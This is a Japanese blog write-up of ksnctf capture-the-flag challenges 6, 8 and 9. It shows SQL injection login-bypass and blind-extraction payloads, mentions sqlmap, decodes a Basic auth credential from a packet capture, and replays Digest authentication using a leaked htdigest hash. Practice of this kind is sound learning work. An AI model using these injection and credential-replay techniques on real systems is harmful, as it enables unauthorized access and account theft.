学問に王道なし

書山有路勤為径  学海無涯苦作舟

学問に王道なし

書山有路勤為径  学海無涯苦作舟

ksnctfをやってみた(#6 - #9)

CTF

ksnctf.sweetduet.info

下記のやつの続き
snowdays.hatenablog.com

6. Login

URLをアクセスみると、
f:id:zhangnan198711:20180415010347p:plain
Chrome先生は、「こいつはPHPだ」って報告してくれた。
f:id:zhangnan198711:20180415010433p:plain

PHPなら....SQL Injectionだね
推測ですが、恐らくここのSQLはこの感じだね。 (MySQLのはず)

SELECT '1' FROM user WHERE id = '[id]' AND password ='[pass]';

じゃ、下記のSQLへやってみよ

SELECT '1' FROM user WHERE id = 'admin' OR 1=1; -- AND password ='[pass]';

つまりここでの入力は、
' OR 1=1; --

前回これを入力するのは、12年前だね。。。
そしてログインしてみると、

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:
query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
$login = $r && $r->fetch();
if (!$login)
$err = 'Login Failed';
}
?>

が表示された。

「こんな簡単で解決したい?甘い!インジェクションでPWをとってくれ!」って書いている。。。むむ。。
動作原理的に、substrで一つずつ当たってみることだね。

SELECT * FROM user WHERE id='admin' AND pass='$pass'

SELECT * FROM user WHERE id='admin' AND substr((SELECT pass FROM user WHERE id='admin'), pass[0], 1) = 'Y'; --' AND pass='$pass'

が、面倒すぎなので、sqlmapさんにお願いする。。
sqlmap: automatic SQL injection and database takeover tool

ダウンロードして、設定すると、flagゲット。
FLAG_KpWa4ji3uXXXTrPK

(TBD)7. Programming

これってCPP書かれているが、
どう見てもWhitespace - Wikipediaなので、
一旦後回し。。。

8. Basic is secure?

いきなり下記のファイルが共有された
http://ksnctf.sweetduet.info/q/8/q8.pcap

pcapは、ネットワークトラフィックのキャプチャなので、
このサイトに分析してもらうPacketTotal - A free, online PCAP analysis engine


このCTFは、第三者からネットワークトラフィックを盗聴したというケースをシミュレーションしている。
pcapログからみると、明らかにbasic認証のpwが書かれている

Host: ctfq.sweetduet.info:10080
Connection: keep-alive
Authorization: Basic cTg6RkxBR181dXg3eksyTktTSDhmU0dB ★これ!
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ja,en-US;q=0.8,en;q=0.6
Accept-Charset: Shift_JIS,utf-8;q=0.7,*;q=0.3

cTg6RkxBR181dXg3eksyTktTSDhmU0dBはBase64なので、
デコードすれば

q8:FLAG_5ux7ccccccxxxxH8fSGA

ゲット!うーん。。簡単

#9. Digest is secure!
これって、Digest認証 - Wikipediaのアタックのはず。

A1= q9: secret:?????
A2=GET:/~q9/ → 31e101310bcd7fae974b921eb148099c
response=MD5(MD5(A1):bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b: 00000001: 9691c249745d94fc: auth:31e101310bcd7fae974b921eb148099c)
response=c3077454ecf09ecef1d6c1201038cfaf

が、逆算MD5のは、どう考えて無理では?
ちょっと下へリクエストを見てみると・・?

Authorization: Digest username="q9", realm="secret", nonce="bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b", uri="/~q9/htdigest", algorithm=MD5, response="d9f18946e5587401c303b34e00a059eb", qop=auth, nc=00000002, cnonce="6945eb2a7ba8cf7f"

q9:secret:c627e19450db746b739f41b64097d449

なる!!
この人、なぜか(?)htdigestを見てしまい、そして我々に盗聴してしまった!
htdigestのフォーマットは、

user:realm:md5(A1)

なので、
md5(A1) = c627e19450db746b739f41b64097d449
は分かった!!!

そこで、md5(A1)も分かったので、常にresponseを計算し、認証を突破できるでは?
ネットでググたら、下記のpyすでにあるため、直接利用した。
gist.github.com

そしてネットワークリクエストを構造して、アクセスしてみると

<!DOCTYPE html>
  <head>
    <meta charset="utf-8">
    <title>Q9</title>
  </head>
  <body>
    <p>FLAG_YBccccWEvC4pp3</p>
  </body>
</html>